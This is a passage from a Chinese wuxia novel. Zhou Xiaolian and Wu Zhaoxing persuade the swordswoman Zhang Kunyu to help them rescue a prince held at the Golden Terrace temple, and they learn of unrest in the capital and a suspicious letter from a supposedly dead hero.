“直至送她安然无恙地回洗雪山庄。我的命,待一切事了,届时你大可拿去,我绝不反抗。” 乌兆星收回视线,万分认真地朝张昆玉作揖鞠躬。 少年所言字字句句落入周小怜耳中,她两手垂在身旁,空着的手已不知不觉攥紧袖口。 周小怜微微仰首,将脖颈靠在张昆玉的剑刃上。她只是微微用力,脖颈侧便已留下一条淡淡的血痕:“张露笑的所在与此事也脱不了干系!为了小露和韦郡百姓,帮帮我们,昆玉姐!” 张昆玉见状不语,剑也不作偏移。她睫毛发颤,许久才伸出手替剑摸上周小怜脖颈,那里正是昨夜,甘霖咬的地方。 小怜今日出行前,苏星拂用了上好的脂粉帮她牢牢遮住那一片青紫瘆人的淤印。其实用指腹相当难蹭下来,张大娘子大力出奇迹,小怜疼得发抖。 张昆玉终于见到一小块被粉饰的凄惨,她道:“你脖子这里究竟是……” “……被狗咬的。”张昆玉盯着那块小地方看,乌兆星的视线也从后面粘了过来。 被狗咬的?在场人都不是傻子,在外闯荡许久,难道人咬的和狗咬的还能分不清吗? 可谁也没打破砂锅问到底。 张昆玉到底是拗不过执着的周小怜,她一直以来真心把周小怜当亲妹妹看待,张露笑和她在脾性上向来是有些相似的。 张昆玉无奈地叹气:“罢了。你都这么说了,我总不能看着你真的出事。” 只不过她在“和妹妹和平相处”这条路上,总是波澜坎坷颇多。 “我已经和露笑分开很久了,我不能……再让你和你姐姐你娘亲分开,”张昆玉摸索着她的佩剑,低着头定定望向小怜的脸,“你要我做什么?” “黄金台里扣押着一位皇子,我对这里不大熟悉,请姐姐帮我救人。” 周小怜一面与张昆玉说,一面在心中暗想:“眼下有张昆玉坐镇,想来在黄金台内行走调查会方便不少。若是时机合适,借白日琐事众多,在黄金台众僧分散的时候救人也未尝不可。” “况且乌兆星和张昆玉两人武功卓绝,孟灯铃也难以比肩张昆玉的能为。温柔乡绝对很难在短时间内分拨给我比张昆玉更厉害的人了……我的武功与一年之前大差不差,如今还时不时会失灵。若是身边人的武功不足以常常庇护住我,那我还不如遇见事直接撞剑去死呢。” 这也是周小怜这次来到黄金台没有和燕紫芳同行的原因。 在黄金台和烧香天眼皮子底下找个他们重视关押的对象注定危险重重,九死一生。乌兆星武功不俗,狠得下心也狠得下手杀人;而周小怜尚且是褚见珏的目标,真要被抓住了也还会顾忌洗雪山庄二小姐这一层身份,难说是生是死。 但燕紫芳不一样。 他武功勉强可以自保,但绝对在众人被围剿为难时保不下除了他以外的人。 张昆玉听到周小怜这么说,脸上一片惊讶,声音却不自觉压低了许多:“皇子?韦郡有皇子?你知道京中大乱吗,圣上日前疾病,皇都已乱成一片……” “我怎么会知道此事?”小怜比张昆玉更要讶异。她身居江湖,虽然有阮真棋这一点牵绊,但总是觉得自己与朝堂相距甚远,“什么时候的事?” 张昆玉神色凝重:“仔细算来,与三郡纷纷祸乱时便已有了这消息苗头。但此事真正传出皇都,进一步火上添油,是与你身患重病,不能再行比武招亲一事的时间差不多。” 周小怜感到一阵晕眩。 她将声音压得更低,拉着张昆玉坐到了一旁的栏杆上,乌兆星就站在两人身前。 周小怜道:“三郡如今是怎么样的?我来到这里也没几日,但一路上的确也没怎么注意那些消息。” 一提到战祸,张昆玉愁色重了些:“大乱,战火纷飞,尸鸿遍野,说是人间炼狱也不为过。我来此地便是为了求援……” “求援?”三郡之祸以如今小怜所知,与褚见珏一行人绝对脱不了干系。张昆玉从绥城来,求援求到人家老巢里,和送上门找死有什么区别? “是,原本说是这几日就有军队去的,结果城里的人迟迟等不到救援。绥城在西,近象、丹两郡,我本来想去丹郡帮一个朋友……结果前几日收到了他的信。” “他让我来韦郡黄金台,找这里的主持——” “不对。”这次是乌兆星发话:“你朋友叫什么名字,你几日前收到的信?” 张昆玉和周小怜下意识地抬头看向他,张昆云虽然不解也不喜欢乌兆星,但还是回答了他的问题:“约十日前收到的信,是梁上燕乔李西寄来的信。” 乌兆星听后更是漫不经心地嗤笑一声:“乔李西?他一年前早死了,怎么会给你寄信。” “此信和他从前字迹,口吻无差,”张昆玉不满乌兆星这副姿态,“你为何说他死了?” “乔李西,一年之前,死于歌玉山,”乌兆星余光扫到小怜,她正怔怔看着自己。那把团扇的手柄都被小怜捏碎,“他要杀我,可没有赢过我,我亲手杀了他。” 当时追杀乌兆星的人到底是谁? 梁上燕乔李西,小怜虽然从未见过,但也听春静说过。 他是个劫富济贫的侠盗,难民出身,在民间颇具盛名。此人与张昆玉一样广结善缘,是受人敬仰的大侠……可在歌玉山紧紧相逼,不眠不休追杀他们的那群人里,有他? 周小怜想起了甘霖那些像诅咒一样的话。 “你说,他们 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周小怜的心随着乌兆星所言沉没了许多,原来他真是巫龙雪的后代。 乌兆星一口气说了许多,说完才发现自己已失言谈及真正的身份。他指尖抽动,剑缓缓移开,张昆玉不可思议道:“你是巫氏的后代?” 周小怜见乌兆星神色不虞,急忙撇开扇子,两只手抓着张昆玉的手腕,匆匆道: “昆玉姐,许多事情我们在这里说不清,而且隔墙有耳。我知道你眼下不会信我们说的话,但是我们所说的都不是骗你的假话。” 她也站起身,踮起脚凑到张昆玉耳畔:“三殿下眼下就被困在寺中,我与他来此其实是受神光斋所托,救出那位殿下。” “若是能见到他,你会知道我们一切所言非虚。而且三殿下曾与我说过他身负重任,说不定就是为了三郡之事而来。” 张昆玉沉吟。她实则心中隐隐被乌兆星所说的话打动些许,况且还有周小怜在一旁吹枕头风作担保,张昆玉并不过分坚持要在这里杀了两人。 她与那看似孤僻的少年对望,乌兆星不再与她争论,想起过去身世,他又表现出些失魂落魄。 张昆玉再次把剑放了下来。 周小怜知道张昆玉为人心软,并非不可沟通的顽固。要说从前的小怜就算知道乌兆星身世凄惨,但一想到他是乌兆星,下意识第一个反应也是避之不及。 可张昆玉孑然不同,她是遇到难事愿意尽力而为,伸手帮他们两人一把的那种人。 乌兆星已将自己过往撕开半个裂隙供人探看,张昆玉纵使嘴上几番不饶人,却应当已经听进去了乌兆星方才所说的话。 实则相较之乌兆星不为人知的过往,她更多是考虑到了一旁如今与乌兆星一边的小怜——周小怜能有几个心眼,她能骗人吗? 正因如此,张昆玉虽有对两人两度威胁相逼,却迟迟没有直接出手。 这般舍己为人,善良到无以复加,无可救药的张昆玉,实在令人敬佩。 眼前受她照拂的周小怜更是喜出望外,一把抱住她的腰:“姐姐,好姐姐!我绝没有骗你,你且放心……哎话好像也不能这样说,总之,总之……” “总之,这个三皇子究竟要从哪里开始找起?”张昆玉无奈道。 周小怜狡黠一笑,拍拍张昆玉的肩膀,又勾过来一旁的乌兆星,三人凑成一个圈,她低声道:“有你们在,我就豁出去干一回了,眼下我能想到的不是什么聪明的法子,但极其有效。” 张昆玉顺着道:“什么法子?“ 乌兆星倒是福至心灵,却也不大同意小怜所想:“姐姐想以身入局,让张……大娘子假装把你押住,交给那个主持吗?” 周小怜点点头:“不入虎穴,焉得虎子?在这里没头没脑的找也不是法子,倒不如我亲身走一趟。” “反正,至少褚见珏的目标之一是我。” “即便焦青帝恨不能将我生啖皮肉,黄金台的人应该也不过只敢让我吃一些苦头。他们到底是夹在中间为两头做事,有所顾忌……不会让我轻易死在这里吧?”